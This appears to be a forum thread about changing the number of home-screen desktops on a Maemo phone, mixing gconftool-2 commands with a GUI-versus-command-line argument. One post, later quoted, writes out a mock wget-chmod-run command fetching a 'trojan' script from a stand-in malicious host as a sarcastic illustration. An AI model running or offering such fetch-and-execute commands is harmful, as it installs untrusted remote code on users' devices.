Reducing number of dsktops?

[slewis1972]

Hi All

How can I reduce the number of desktops from 4 to 3. I cannot find the settings anywhere so is it possible?

Thanks

Scott

[biggzy]

Click desktop then the cog icon, then desktop menu then manage views.

[Matan]

gconftool-2 -s /apps/osso/hildon-desktop/views/active -t list --list-type int [1,2,3]

[slewis1972]

So kind - there was I thinking it would be in settings.

Scott

[JohnLF]

gconftool-2 -s /apps/osso/hildon-desktop/views/active -t list --list-type int [1,2,3]

Interesting - does this mean you could have more than 4? I personally could do with a 5th...

I did try using the command with [1,2,3,4,5] but still only get 4 :confused:

[ToJa92]

Interesting - does this mean you could have more than 4? I personally could do with a 5th...

I did try using the command with [1,2,3,4,5] but still only get 4 :confused:

The internal limit in hildon-desktop is 4 and it probably enforces that limit if it's over 4. I think there's a modified hildon-desktop which can do lots of stuff, no idea if you can have more than 4 desktops though.

[JohnLF]

hehe, worth a try. :D

[jakiman]

Interesting - does this mean you could have more than 4? I personally could do with a 5th...

If you use Matan's modified-hildon-desktop, you can do up to 9 desktops. Works well also. Just a lot more of side swiping. =P

[vignes_k]

If you use Matan's modified-hildon-desktop, you can do up to 9 desktops. Works well also. Just a lot more of side swiping. =P

wonder if there is a way to switch directly to a numbered desktop ie SYMBOL+FUNC+<desktop_no>?

[Matan]

It is possible to configure keyboard-shortcuts package to provide this behaviour. With modified-hildon-desktop, setting gconf key /apps/osso/hildon-desktop/views/current changes the current view, so you can run the command

gconftool -s /apps/osso/hildon-desktop/views/current -t int 1

on pressing of ctrl+fn+q to select view number 1.

[rolan900d]

If you use Matan's modified-hildon-desktop, you can do up to 9 desktops. Works well also. Just a lot more of side swiping. =P

I could add them but never with wallpapers.....
I have asked in N900 section if someone can do an app for it....

[ossipena]

gconftool-2 -s /apps/osso/hildon-desktop/views/active -t list --list-type int [1,2,3]
this wasn't helpful at all. there is a GUI way to do it as biggzy instructed.

those command line stuffs should be avoided if possible. that looks to someone a bit like
wget http://porn.scam.virus/mytrojan.sh&&chmod +x ./mytrojan.sh&& sh ./mytrojan.sh

...

[Matan]

Wow, you sank to a new low. Doing something with command line is equivalent to running a trojan. I can't fathom how small your mind needs to be to invent this.

[Joorin]

this wasn't helpful at all. there is a GUI way to do it as biggzy instructed.

those command line stuffs should be avoided if possible. that looks to someone a bit like
wget http://porn.scam.virus/mytrojan.sh&&chmod +x ./mytrojan.sh&& sh ./mytrojan.sh

...

I found the answer to be good and informative. It shows how to do it without using the GUI which sometimes is better and, in some cases, the only way.

It's good to spread such information. Comparing that to some malicious instruction is just weird.

[ossipena]

Wow, you sank to a new low. Doing something with command line is equivalent to running a trojan. I can't fathom how small your mind needs to be to invent this.
wow, you just missed the point by hella lightyears....

please read again and why to post a command line option if OP said he didn't manage to find setting for that?

[ossipena]

I found the answer to be good and informative. It shows how to do it without using the GUI which sometimes is better and, in some cases, the only way.

It's good to spread such information. Comparing that to some malicious instruction is just weird.

but in this case this can be done with GUI, quicker than select + copy text, open terminal, paste and execute.

yes I understand if something can't be done with GUI, but imo command line stuff should be avoided only because there are a lot device users that can't tell matans and my examples of command line entry apart....

[Matan]

OK, you are trying to be more rational now, that is nice.

A user asked how to do something. I gave my preferable way of doing that thing. Someone else gave another method of doing the same thing. Each method has its own advantages and disadvantages. For example, with the GUI method you cannot control more than 5 desktops, since the dialog is too small and not scrollable. The command line method has the advantage of being usable in programs (see for example actman).

I don't know why you decided to use this two months old thread where the two methods are clearly described and any reader may chose their prefered method to open a useless GUI vs. command line argument. And I even more don't understand why you chose to argue with this stupid comparison.

[kingoddball]

You can get upto 9 (??) home screens. Search this site.